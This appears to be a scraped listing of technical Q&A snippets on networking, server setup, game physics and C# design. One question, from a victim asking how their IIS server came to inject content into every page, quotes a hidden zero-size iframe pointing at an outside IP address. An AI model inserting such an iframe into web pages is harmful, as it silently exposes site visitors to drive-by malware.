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  • Configure FTP Server with two different IP addresses on different subnets and separate NICs

    - by Luke
    I have an FTP server that's on a low bandwidth connection. We want to set it up with a second IP address on a much higher bandwidth connection. I set up the second interface with a static IP address on the faster connection. This unfortunately does not work. I can verify that the second IP address works perfectly when I disable the first IP address. What do I need to do to get two separate interface IP addresses on different subnets working on the same server?

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  • how get collision callback of two specific objects using bullet physics?

    - by sebap123
    I have got problem implementing collision callback into my project. I would like to have detection between two specific objects. I have got normall collision but I want one object to stop or change color or whatever when colides with another. I wrote code from bullet wiki: int numManifolds = dynamicsWorld->getDispatcher()->getNumManifolds(); for (int i=0;i<numManifolds;i++) { btPersistentManifold* contactManifold = dynamicsWorld->getDispatcher()->getManifoldByIndexInternal(i); btCollisionObject* obA = static_cast<btCollisionObject*>(contactManifold->getBody0()); btCollisionObject* obB = static_cast<btCollisionObject*>(contactManifold->getBody1()); int numContacts = contactManifold->getNumContacts(); for (int j=0;j<numContacts;j++) { btManifoldPoint& pt = contactManifold->getContactPoint(j); if (pt.getDistance()<0.f) { const btVector3& ptA = pt.getPositionWorldOnA(); const btVector3& ptB = pt.getPositionWorldOnB(); const btVector3& normalOnB = pt.m_normalWorldOnB; bool x = (ContactProcessedCallback)(pt,fallRigidBody,earthRigidBody); if(x) printf("collision\n"); } } } where fallRigidBody is a dynamic body - a sphere and earthRigiBody is static body - StaticPlaneShape and sphere isn't touching earthRigidBody all the time. I have got also other objects that are colliding with sphere and it works fine. But the program detects collision all the time. It doesn't matter if the objects are or aren't colliding. I have also added after declarations of rigid body: earthRigidBody->setCollisionFlags(earthRigidBody->getCollisionFlags() | btCollisionObject::CF_CUSTOM_MATERIAL_CALLBACK); fallRigidBody->setCollisionFlags(fallRigidBody->getCollisionFlags() | btCollisionObject::CF_CUSTOM_MATERIAL_CALLBACK); So can someone tell me what I am doing wrong? Maybe it is something simple?

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  • How to deal with elimination of duplicate logic vs. cost of complexity increase?

    - by Gabriel
    I just wrote some code that is very representative of a recurring theme (in my coding world lately): repeated logic leads to an instinct to eliminate duplication which results in something that is more complex the tradeoff seems wrong to me (the examples of the negative side aren't worth posting - but this is probably the 20th console utility I've written in the past 12 months). I'm curious if I'm missing some techniques or if this is really just on of those "experience tells you when to do what" type of issues. Here's the code... I'm tempted to leave it as is, even though there will be about 20 of those if-blocks when I'm done. static void Main(string[] sargs) { try { var urls = new DirectTrackRestUrls(); var restCall = new DirectTrackRestCall(); var logger = new ConsoleLogger(); Args args = (Args)Enum.Parse(typeof(Args), string.Join(",", sargs)); if (args.HasFlag(Args.Campaigns)) { var getter = new ResourceGetter(logger, urls.ListAdvertisers, restCall); restCall.UriVariables.Add("access_id", 1); getter.GotResource += new ResourceGetter.GotResourceEventHandler(getter_GotResource); getter.GetResources(); SaveResources(); } if (args.HasFlag(Args.Advertisers)) { var getter = new ResourceGetter(logger, urls.ListAdvertisers, restCall); restCall.UriVariables.Add("access_id", 1); getter.GotResource += new ResourceGetter.GotResourceEventHandler(getter_GotResource); getter.GetResources(); SaveResources(); } if (args.HasFlag(Args.CampaignGroups)) { var getter = new ResourceGetter(logger, urls.ListCampaignGroups, restCall); getter.GotResource += new ResourceGetter.GotResourceEventHandler(getter_GotResource); getter.GetResources(); SaveResources(); } } catch (Exception e) { Console.WriteLine(e.InnerException); Console.WriteLine(e.StackTrace); }

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  • JiglibX addition to existing project questions

    - by SomeXnaChump
    Got a very simple existing project, that basically contains a lot of cubes. Now I am wanting to add a physics system to it and JiglibX seemed like the simplest one with some tutorials out there. My main problem is that the physics don't seem to be working how I imagined, I expected my tower of cubes to come crashing down, but they dont seem to do anything. I think my problem is that my cubes do not inherit DrawableGameComponent, they are managed by a world object that will update and render them. So they are at no point put into the games component list. I am not sure if this means that JiglibX will not be able to interact with them as in all the tutorials there are no explicit calls to add the Body objects to the physics system, so I can only presume that they are using a static/singleton under the hood which automatically hooks in all things, or they use the game objects component list somehow. I also noticed that in alot of the tutorials they use the following when setting up the physics system: float timeStep = (float)gameTime.ElapsedGameTime.Ticks / TimeSpan.TicksPerSecond; PhysicsSystem.CurrentPhysicsSystem.Integrate(timeStep); Would it not be better to keep a local instance of the created PhysicsSystem object and just call myPhysicsSystem.Integrate(timeStep)?

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  • What to do as a new team lead on a project with maintainability problems?

    - by Mr_E
    I have just been put in charge of a code project with maintainability problems. What things can I do to get the project on a stable footing? I find myself in a place where we are working with a very large multi-tiered .NET system that is missing a lot of the important things such as unit tests, IOC, MEF, too many static classes, pure datasets etc. I'm only 24 but I've been here for almost three years (this app has been in development for 5) and mostly due to time constraints we've been just adding in more crap to fit the other crap. After doing a number of projects in my free time I have begun to understand just how important all those concepts are. Also due to employee shifting I find myself to now be the team lead on this project and I really want to come up with some smart ways to improve this app. Ways where the value can be explained to management. I have ideas of what I would like to do but they all seem so overwhelming without much upfront gain. Any stories of how people have or would have dealt with this would be a very interesting read. Thanks.

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  • What is the best way to auto failover to backup WAN link for web server

    - by user66735
    Hi Iam looking for the best way to ensure my server ( application ) remains available for all my users (on web/LAN/WAN ), when my primary ISP link fails. My server is behind a firewall on which both my primary & secondary links land. I have already assigned multiple IPs (both ISP's static IP) to the 'A' record ( host.example.com ) in the DNS. However in a round robin scenario is there a way I can ensure that my web user will not see a "cannot dislay web page" error ever ?? What are the better methods to achieve this??

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  • ECS with Go - circular imports [migrated]

    - by Andreas
    I'm exploring both Go and Entity-Component-Systems. I understand how ECS works, and I'm trying to replicate what seems to be the go-to document of ECS, namely http://cowboyprogramming.com/2007/01/05/evolve-your-heirachy/ For performance, the document recommends to use static arrays of every component type. That is, not arrays of component interfaces (arrays of pointers). The problem with this in Go is circular imports. I have one package, ecs, which contains the definitions for Entity, Component and System types/interfaces as well as an EntityManager. Another package, ecs/components, contains the various components. Obviously, the ecs/components package depends on ecs. But, to declare arrays of specific components in EntityManager, ecs would depend on ecs/components, therefore creating a circular import. Is there any way of avoiding this? I am aware that normally a high level system should not depend on lower systems. I'm also want to point out that using an array of pointers is probably fast enough for my purposes, but I'm interested in possible workarounds (for future reference) Thank you for your help!

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  • Integrating Amazon EC2 in Java via NetBeans IDE

    - by Geertjan
    Next, having looked at Amazon Associates services and Amazon S3, let's take a look at Amazon EC2, the elastic compute cloud which provides remote computing services. I started by launching an instance of Ubuntu Server 14.04 on Amazon EC2, which looks a bit like this in the on-line AWS Management Console, though I whitened out most of the details: Now that I have at least one running instance available on Amazon EC2, it makes sense to use the services that are integrated into NetBeans IDE:  I created a new application with one class, named "AmazonEC2Demo". Then I dragged the "describeInstances" service that you see above, with the mouse, into the class. Then the IDE automatically created all the other files you see below, i.e., 4 Java classes and one properties file: In the properties file, register the access ID and secret keys. These are read by the other generated Java classes. Signing and authentication are done automatically by the code that is generated, i.e., there's nothing generic you need to do and you can immediately begin working on your domain-specific code. Finally, you're now able to rewrite the code in "AmazonEC2Demo" to connect to Amazon EC2 and obtain information about your running instance: public class AmazonEC2Demo { public static void main(String[] args) { String instanceId1 = "i-something"; RestResponse result; try { result = AmazonEC2Service.describeInstances(instanceId1); System.out.println(result.getDataAsString()); } catch (IOException ex) { Logger.getLogger(AmazonEC2Demo.class.getName()).log(Level.SEVERE, null, ex); } } } From the above, you'll receive a chunk of XML with data about the running instance, it's name, status, dates, etc. In other words, you're now ready to integrate Amazon EC2 features directly into the applications you're writing, without very much work to get started. Within about 5 minutes, you're working on your business logic, rather than on the generic code that anyone needs when integrating with Amazon EC2.

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  • Software that can identify and remove foreground objects from image

    - by Antonio2011a
    I am interested in removing extraneous objects from an image. More specifically the situation is that there is a series of images of a particular background. In each image there are objects in the foreground, however these objects differ across the series of images in terms of their location. Note that some objects always exists in the foreground. The background is static. An example might be a busy tourist spot and you want to remove the people or tourist buses from the image. I'd like the software to take the series of images and as much as possible reconstruct the background. Is there software available that has this capability? If so what are the steps necessary to use that functionality? Similarly if anyone knows a lot about image processing, are there any image processing algorithms that could handle this? Thanks.

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  • Creating ip alias on bonded interface ie. bond0:1

    - by bobothechimp
    System: HP Proliant DL360 G5 running CentOS 5.4 Bonded interface is working fine for a long time. I just went to add an alias the way I always have on a regular interface, and on first check it works (pinging on the local box) but it is not accessable from outside (iptables is turned off). In addition with this setup the normal network response started to decline, hanging for around a minute before I could get a prompt on login. Here are my config files: [root network-scripts]# cat ifcfg-eth0 DEVICE=eth0 BOOTPROTO=none ONBOOT=yes MASTER=bond0 SLAVE=yes USERCTL=no [root network-scripts]# cat ifcfg-eth1 DEVICE=eth1 BOOTPROTO=none ONBOOT=yes MASTER=bond0 SLAVE=yes USERCTL=no [root network-scripts]# cat ifcfg-bond0 DEVICE=bond0 BONDING_OPTS="mode=1 miimon=100" BOOTPROTO=none ONBOOT=yes NETWORK=10.2.1.0 NETMASK=255.255.255.0 IPADDR=10.2.1.11 USERCTL=no [root network-scripts]# cat ifcfg-bond0:1 DEVICE=bond0:1 BOOTPROTO=static ONBOOT=yes NETWORK=10.2.1.0 NETMASK=255.255.255.0 IPADDR=10.2.1.12 USERCTL=no any thoughts?

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  • Find possible variations of one item out of multiple baskets.

    - by tugberk
    I have three baskets of balls and each of them has 10 balls which have the following numbers: Basket 1: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 Basket 2: 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 Basket 3: 21, 22, 23, 24, 25, 26, 27, 28, 29, 30 What would be the possible variations If I were to pick one ball from each basket? I guess this is called as Probability in Mathematics but not sure. How would you write this code in C# (or any other programming language) to get the correct results? Edit: Based on @Kilian Foth's comment, here is the solution in C#: class Program { static void Main(string[] args) { IEnumerable<string> basket1 = new List<string> { "1", "2", "3", "4", "5", "6", "7", "8", "9", "10" }; IEnumerable<string> basket2 = new List<string> { "11", "12", "13", "14", "15", "16", "17", "18", "19", "20" }; IEnumerable<string> basket3 = new List<string> { "21", "22", "23", "24", "25", "26", "27", "28", "29", "30" }; foreach (var item1 in basket1) foreach (var item2 in basket2) foreach (var item3 in basket3) { Console.WriteLine("{0}, {1}, {2}", item1, item2, item3); } Console.ReadLine(); } }

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  • Win 2008 Server configuration

    - by user123790
    Let me preface my question by saying I'm a novice in regards to server configuration. It's been 12+ years since I've attempted this. What we (our small office) are trying to achieve is to setup a Win 2008 server (located in a home) in a home network configuration (basic wireless router w/DHCP) that we (the office) can VPN to from our office. I have installed the software, installed DHCP, removed DHCP from the router, set the scope for 100 IPs and am now looking for information as to where I go from here? I believe I need to configure DNS and possibly set up static routes on the router for the home devices that need internet? The wireless clients are not receiving IPs is the current issue that I'd like to tackle. Also, would it be feasible to use the router's DHCP to assign IPs rather than having the server do it? If so, what would be the most direct way to accomplish this? I appreciate any help in this matter. Thanks

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  • Does my DLink DNS-323 need to reside on a "192.168.0.0/24" subnet?

    - by Raymond
    I've installed two brand new 2-tib drives in the DLink and plugged it in to my network. I set my router's static address table to include the MAC address of the device; however it doesn't ever "show up." Do I need to use the custom software to administer this device? Do I need to use a "192.168.0.0/24" network in order for this device to work (asking because it states that if DHCP isn't detected, it will default to an address in that range; and my network is not in that range).

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  • nginx php-fpm keeps downloading files

    - by Sam Williams
    vhost: server { listen *:8080; location / { root /var/www/default/pub; index index.php; # if file exists return it right away if (-f $request_filename) { break; } if (!-e $request_filename) { rewrite ^(.+)$ /index.php$1 last; break; } } # serve static files directly location ~* \.(jpg|jpeg|gif|css|png|js|ico|html)$ { access_log off; expires max; } location ~* \.php$ { # By all means use a different server for the fcgi processes if you need to fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_script_name; include /usr/local/nginx/conf/fastcgi_params; } location ~ /\.ht { deny all; } } http://192.168.135.128/index.php loads just fine... http://192.168.135.128/public_/html/index.php downloads...

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  • How to mount drive in /media/userName/ like nautilus do using udisks

    - by Bsienn
    As of my current installation of Ubuntu 13.10 Unity, when i click on a drive in nautilus it get mounted in /media/username/mountedDrive i read that nautilus use udisks to do that. Basically i want to auto mount my drive using udisks in start up using this method But problem is, it mounts the drive in /media/mountedDrive, but i want it the way nautilus do in /media/username/mounteDrive I want NTFS Data drive to be auto mounted at /media/bsienn/ bsienn@bsienn-desktop:~$ blkid /dev/sda1: LABEL="System Reserved" UUID="8230744030743D6B" TYPE="ntfs" /dev/sda2: LABEL="Windows 7" UUID="60100EA5100E81F0" TYPE="ntfs" /dev/sda3: LABEL="Data" UUID="882C04092C03F14C" TYPE="ntfs" /dev/sda5: UUID="8768800f-59e1-41a2-9092-c0a8cb60dabf" TYPE="swap" /dev/sda6: LABEL="Ubuntu Drive" UUID="13ea474a-fb27-4c91-bae7-c45690f88954" TYPE="ext4" /dev/sda7: UUID="69c22e73-9f64-4b48-b854-7b121642cd5d" TYPE="ext4" bsienn@bsienn-desktop:~$ sudo fdisk -l Disk /dev/sda: 160.0 GB, 160000000000 bytes 255 heads, 63 sectors/track, 19452 cylinders, total 312500000 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x8d528d52 Device Boot Start End Blocks Id System /dev/sda1 * 2048 206847 102400 7 HPFS/NTFS/exFAT /dev/sda2 206848 117730069 58761611 7 HPFS/NTFS/exFAT /dev/sda3 158690072 312494116 76902022+ 7 HPFS/NTFS/exFAT /dev/sda4 117731326 158689279 20478977 5 Extended /dev/sda5 137263104 141260799 1998848 82 Linux swap / Solaris /dev/sda6 141262848 158689279 8713216 83 Linux /dev/sda7 117731328 137263103 9765888 83 Linux Partition table entries are not in disk order bsienn@bsienn-desktop:~$ cat /etc/fstab # /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # <file system> <mount point> <type> <options> <dump> <pass> # / was on /dev/sda7 during installation UUID=69c22e73-9f64-4b48-b854-7b121642cd5d / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=8768800f-59e1-41a2-9092-c0a8cb60dabf none swap sw 0 0 Desired effect: Picture link

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  • What is the technique used to make my IIS 7 serve all pages with an injected iframe

    - by Andre Carlucci
    Since my previous question was closed without an answer, I'm changing it a bit and asking again. All my pages are being served with an malicious iframe injected just before the html tag. The code looks like this: <iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ... Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected. I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600. Anyone knows how to do this in IIS?

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  • Allowing users in from an IP address without certificate client authentication

    - by John
    I need to allow access to my site without SSL certificates from my office network and with SSL certificates outside. Here is my configuration: <Directory /srv/www> AllowOverride All Order deny,allow Deny from all # office network static IP Allow from xxx.xxx.xxx.xxx SSLVerifyClient require SSLOptions +FakeBasicAuth AuthName "My secure area" AuthType Basic AuthUserFile /etc/httpd/ssl/index Require valid-user Satisfy Any </Directory> When I'm inside network and have certificate - I can access. When I'm inside network and haven't certificate - I can't access, it requires certificate. When I'm outside network and have certificate - I can't access, it shows me basic login screen When I'm outside network and haven't certificate - I can't access, it shows me basic login screen and following configuration works perfectly <Directory /srv/www> AllowOverride All Order deny,allow Deny from all Allow from xxx.xxx.xxx.xxx AuthUserFile /srv/www/htpasswd AuthName "Restricted Access" AuthType Basic Require valid-user Satisfy Any </Directory>

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  • Android Activity access Unity Classes

    - by Anomaly
    I have made my own C# classes in Unity, is there any way I can access these classes from the Android Activity that starts the UnityPlayer? Example: I have a C# class called testClass in Unity: class testClass{ public static string myString="test string"; } From the Android activity in Java I want to access that class: string str=testClass.myString; Is this possible? If so, how? Or is there some other way to do this? In the end I basically want to communicate between my Android activity and the UnityPlayer object. Thanks in advance. EDIT: Ok so I looked at building Android plugins for Unity but this wasn't satisfactory to me. I ended up building a socket client-server interface in Unity with C# and another one in Java for the Android app: So Unity listens on port X and broadcasts on port Y The Android activity listens on port Y and broadcasts on port X This is necessary as both interfaces are running on the same host. So that's how I solved my problem, but I'm open for any suggestions if anyone knows a better way of communicating between the Unityplayer and your app.

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  • Interface (contract), Generics (universality), and extension methods (ease of use). Is it a right design?

    - by Saeed Neamati
    I'm trying to design a simple conversion framework based on these requirements: All developers should follow a predefined set of rules to convert from the source entity to the target entity Some overall policies should be able to be applied in a central place, without interference with developers' code Both the creation of converters and usage of converter classes should be easy To solve these problems in C# language, A thought came to my mind. I'm writing it here, though it doesn't compile at all. But let's assume that C# compiles this code: I'll create a generic interface called IConverter public interface IConverter<TSource, TTarget> where TSource : class, new() where TTarget : class, new() { TTarget Convert(TSource source); List<TTarget> Convert(List<TSource> sourceItems); } Developers would implement this interface to create converters. For example: public class PhoneToCommunicationChannelConverter : IConverter<Phone, CommunicationChannle> { public CommunicationChannel Convert(Phone phone) { // conversion logic } public List<CommunicationChannel> Convert(List<Phone> phones) { // conversion logic } } And to make the usage of this conversion class easier, imagine that we add static and this keywords to methods to turn them into Extension Methods, and use them this way: List<Phone> phones = GetPhones(); List<CommunicationChannel> channels = phones.Convert(); However, this doesn't even compile. With those requirements, I can think of some other designs, but they each lack an aspect. Either the implementation would become more difficult or chaotic and out of control, or the usage would become truly hard. Is this design right at all? What alternatives I might have to achieve those requirements?

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  • Mouse Speed in GLUT and OpenGL?

    - by CroCo
    I would like to simulate a point that moves in 2D. The input should be the speed of the mouse, so the new position will be computed as following new_position = old_position + delta_time*mouse_velocity As far as I know in GLUT there is no function to acquire the current speed of the mouse between each frame. What I've done so far to compute the delta_time as following void Display() { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glColor3f(1.0f, 0.0f, 0.0f); static int delta_t, current_t, previous_t; current_t = glutGet(GLUT_ELAPSED_TIME); delta_t = current_t - previous_t; std::cout << delta_t << std::endl; previous_t = current_t; glutSwapBuffers(); } Where should I start from here? (Note: I have to get the speed of the mouse because I'm modeling a system) Edit: Based on the above code, delta_time fluctuates so much 34 19 2 20 1 20 0 16 1 1 10 21 0 13 1 19 34 0 13 0 6 1 14 Why does this happen?

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  • WebsitePanel 2 totally NOT working on Windows Server 2012 on Azure

    - by Carmine Giangregorio
    I’m having many troubles installing WebSitePanel on an Azure Virtual Machine, with Windows Server 2012. I followed the steps in http://www.websitepanel.net/documentation/deployment-guide/server-configuration/preparing-windows-server-2008-r2-for-websitepanel-installation/ and installed everything I needed. Then, I installed the WebSitePanel Standalone Server package with the installer. I opened the endpoint for the port 9002 on Windows Azure; so I pointed my browser to myhostname.cloudapp.net (note: in Azure you don’t have a static IP address, instead you have an hostname like [hostname].cloudapp.net). So, loading myhostname.cloudapp.net:9002 fails, and any browser shows something like “Unable to load page”. Notice: if I try to load the WebSitePanel Portal directly on the server, I get an error HTTP 400 Bad Request. How come? IIS works perfectly on the server, in fact the default website runs without problems on port 80.

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  • XML Rules Engine and Validation Tutorial with NIEM

    - by drrwebber
    Our new XML Validation Framework tutorial video is now available. See how to easily integrate code-free adaptive XML validation services into your web services using the Java CAMV validation engine. CAMV allows you to build fault tolerant content checking with XPath that optionally use SQL data lookups. This can provide warnings as well as error conditions to tailor your validation layer to exactly meet your business application needs. Also available is developing test suites using Apache ANT scripting of validations.  This allows a community to share sets of conformance checking test and tools . On the technical XML side the video introduces XPath validation rules and illustrates and the concepts of XML content and structure validation. CAM validation templates allow contextual parameter driven dynamic validation services to be implemented compared to using a static and brittle XSD schema approach.The SQL table lookup and code list validation are discussed and examples presented.Features are highlighted along with a demonstration of the interactive generation of actual live XML data from a SQL data store and then validation processing complete with errors and warnings detection.The presentation provides a primer for developing web service XML validation and integration into a SOA approach along with examples and resources. Also alignment with the NIEM IEPD process for interoperable information exchanges is discussed along with NIEM rules services.The CAMV engine is a high performance scalable Java component for rapidly implementing code-free validation services and methods. CAMV is a next generation WYSIWYG approach that builds from older Schematron coding based interpretative runtime tools and provides a simpler declarative metaphor for rules definition. See: http://www.youtube.com/user/TheCAMeditor

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  • Separate collision mesh model?

    - by Menno Gouw
    I want to have another go at 3D within XNA. What I have seen from some other games that they just have a separate very low poly model "cage" around the environment model. However I can not find any reference to this. I have not that much experience with XNA 3D either. Is it possible to have this cage within each of my environmental models already? Lets just say I call the mesh within the .FBX wall and col_wall. How would I call to these different meshes within XNA? The player would just have a tight collision cube around. To make it a bit more efficient I will be making divide the map up by cubes and only calculate collision if the player is in it. Question two: I can't find anywhere to do cube vs mesh collision. Is there a method for this? Or perhaps it is possible to build my collision cage out of cubes in the 3D app and on loading of the models in XNA replace them directly by cubes? So I could just do box to box collision which should be very cheap and still give the player the ability to move over ledges on the static models.

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  • Need help with remote dekstop - Limit the computers you can access server from

    - by stirredo
    I have a windows server 2003 computer that is accessed by remote desktop connection. To access the server all you need to know is the IP address of the computer. I want to limit the computers that can access the windows server computer to authorized computers only. The authorized computers won't have static IPs, so I cannot limit them on basis of IP address. Can I limit them on basis of MAC id perhaps? I won't mind using third party solution like Teamviewer or Logmein etc. So How can I solve this problem?

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  • Experience with MooseFS?

    - by brown.2179
    Anyone have any experience using MooseFS? I want an easy distributed storage platform to store static data archive of about 10 TB and serve it to 20-40 nodes. Also I want to be able to add storage as the archive grows without having to rebuild the filesystem. I don't care if it's a bit slow. I just want it to be simple and stable. Basically from what I can see for OS X it's between MooseFS and Gluster. Any other suggestions?

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